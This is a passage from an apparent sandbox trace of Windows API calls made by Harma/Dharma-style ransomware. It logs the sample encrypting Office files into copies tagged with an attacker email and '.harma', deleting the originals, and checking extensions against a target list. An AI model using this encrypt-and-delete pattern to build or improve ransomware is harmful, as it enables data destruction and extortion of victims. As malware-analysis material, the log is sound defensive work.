controller\\office.en-us\\pss10r.chm")) returned 0x20 [0050.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.342] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.342] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.342] GetLastError () returned 0x0 [0050.342] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0050.345] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0050.346] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.346] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0050.346] SetEndOfFile (hFile=0x204) returned 1 [0050.346] CloseHandle (hObject=0x204) returned 1 [0050.347] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.347] SetEndOfFile (hFile=0x1fc) returned 1 [0050.348] CloseHandle (hObject=0x1fc) returned 1 [0050.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.349] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.349] lstrlenW (lpString=".doc") returned 4 [0050.349] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.349] lstrlenW (lpString=".docx") returned 5 [0050.349] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0050.349] lstrlenW (lpString=".pdf") returned 4 [0050.349] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.349] lstrlenW (lpString=".xls") returned 4 [0050.349] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.349] lstrlenW (lpString=".xlsx") returned 5 [0050.349] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0050.349] lstrlenW (lpString=".ppt") returned 4 [0050.349] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.349] lstrlenW (lpString=".zip") returned 4 [0050.349] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.349] lstrlenW (lpString=".rar") returned 4 [0050.349] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.349] lstrlenW (lpString=".bz2") returned 4 [0050.349] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.350] lstrlenW (lpString=".7z") returned 3 [0050.350] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.350] lstrlenW (lpString=".dbf") returned 4 [0050.350] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.350] lstrlenW (lpString=".1cd") returned 4 [0050.350] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.350] lstrlenW (lpString=".jpg") returned 4 [0050.350] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.350] lstrlenW (lpString=".doc") returned 4 [0050.350] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString=".docx") returned 5 [0050.350] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0050.350] lstrlenW (lpString=".pdf") returned 4 [0050.350] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString=".xls") returned 4 [0050.350] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString=".xlsx") returned 5 [0050.350] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0050.350] lstrlenW (lpString=".ppt") returned 4 [0050.350] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.350] lstrlenW (lpString=".zip") returned 4 [0050.350] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString=".rar") returned 4 [0050.350] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.350] lstrlenW (lpString=".bz2") returned 4 [0050.351] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.351] lstrlenW (lpString=".7z") returned 3 [0050.351] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.351] lstrlenW (lpString=".dbf") returned 4 [0050.351] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.351] lstrlenW (lpString=".1cd") returned 4 [0050.351] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.351] lstrlenW (lpString=".jpg") returned 4 [0050.351] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.351] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0050.351] lstrlenW (lpString="SETUP.CHM") returned 9 [0050.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.352] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=67190) returned 1 [0050.352] CloseHandle (hObject=0x1fc) returned 1 [0050.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0050.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.353] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.353] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.353] GetLastError () returned 0x0 [0050.353] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x10676, lpOverlapped=0x0) returned 1 [0050.356] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0050.357] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.358] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.358] SetEndOfFile (hFile=0x204) returned 1 [0050.358] CloseHandle (hObject=0x204) returned 1 [0050.488] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.488] SetEndOfFile (hFile=0x1fc) returned 1 [0050.649] CloseHandle (hObject=0x1fc) returned 1 [0050.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.649] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0050.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.650] lstrlenW (lpString=".doc") returned 4 [0050.650] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.650] lstrlenW (lpString=".docx") returned 5 [0050.650] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0050.650] lstrlenW (lpString=".pdf") returned 4 [0050.650] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.650] lstrlenW (lpString=".xls") returned 4 [0050.650] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.650] lstrlenW (lpString=".xlsx") returned 5 [0050.650] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0050.650] lstrlenW (lpString=".ppt") returned 4 [0050.650] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.650] lstrlenW (lpString=".zip") returned 4 [0050.650] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.650] lstrlenW (lpString=".rar") returned 4 [0050.650] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.650] lstrlenW (lpString=".bz2") returned 4 [0050.650] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.650] lstrlenW (lpString=".7z") returned 3 [0050.650] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.650] lstrlenW (lpString=".dbf") returned 4 [0050.650] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.650] lstrlenW (lpString=".1cd") returned 4 [0050.651] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.651] lstrlenW (lpString=".jpg") returned 4 [0050.651] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.651] lstrlenW (lpString=".doc") returned 4 [0050.651] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString=".docx") returned 5 [0050.651] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0050.651] lstrlenW (lpString=".pdf") returned 4 [0050.651] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString=".xls") returned 4 [0050.651] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString=".xlsx") returned 5 [0050.651] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0050.651] lstrlenW (lpString=".ppt") returned 4 [0050.651] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.651] lstrlenW (lpString=".zip") returned 4 [0050.651] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString=".rar") returned 4 [0050.651] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString=".bz2") returned 4 [0050.651] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.651] lstrlenW (lpString=".7z") returned 3 [0050.651] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.651] lstrlenW (lpString=".dbf") returned 4 [0050.651] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.652] lstrlenW (lpString=".1cd") returned 4 [0050.652] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.652] lstrlenW (lpString=".jpg") returned 4 [0050.652] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.652] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.652] lstrlenW (lpString="Office32WW.XML") returned 14 [0050.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.652] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=4274) returned 1 [0050.652] CloseHandle (hObject=0x1fc) returned 1 [0050.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0050.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.653] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.653] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0050.653] GetLastError () returned 0x0 [0050.653] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0050.682] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0050.683] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.683] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0050.683] SetEndOfFile (hFile=0x1f8) returned 1 [0050.683] CloseHandle (hObject=0x1f8) returned 1 [0050.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.693] SetEndOfFile (hFile=0x1fc) returned 1 [0050.694] CloseHandle (hObject=0x1fc) returned 1 [0050.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.695] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0050.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.695] lstrlenW (lpString=".doc") returned 4 [0050.695] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.695] lstrlenW (lpString=".docx") returned 5 [0050.695] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0050.696] lstrlenW (lpString=".pdf") returned 4 [0050.696] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.696] lstrlenW (lpString=".xls") returned 4 [0050.696] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.696] lstrlenW (lpString=".xlsx") returned 5 [0050.696] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0050.696] lstrlenW (lpString=".ppt") returned 4 [0050.696] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.696] lstrlenW (lpString=".zip") returned 4 [0050.696] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.696] lstrlenW (lpString=".rar") returned 4 [0050.696] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.696] lstrlenW (lpString=".bz2") returned 4 [0050.696] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.696] lstrlenW (lpString=".7z") returned 3 [0050.696] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.696] lstrlenW (lpString=".dbf") returned 4 [0050.696] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.697] lstrlenW (lpString=".1cd") returned 4 [0050.697] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.697] lstrlenW (lpString=".jpg") returned 4 [0050.697] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.697] lstrlenW (lpString=".doc") returned 4 [0050.697] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.697] lstrlenW (lpString=".docx") returned 5 [0050.697] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0050.697] lstrlenW (lpString=".pdf") returned 4 [0050.697] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.697] lstrlenW (lpString=".xls") returned 4 [0050.697] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.697] lstrlenW (lpString=".xlsx") returned 5 [0050.697] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0050.697] lstrlenW (lpString=".ppt") returned 4 [0050.697] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.697] lstrlenW (lpString=".zip") returned 4 [0050.697] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.697] lstrlenW (lpString=".rar") returned 4 [0050.697] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.698] lstrlenW (lpString=".bz2") returned 4 [0050.698] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.698] lstrlenW (lpString=".7z") returned 3 [0050.698] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.698] lstrlenW (lpString=".dbf") returned 4 [0050.698] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.698] lstrlenW (lpString=".1cd") returned 4 [0050.698] lstrcmpiW 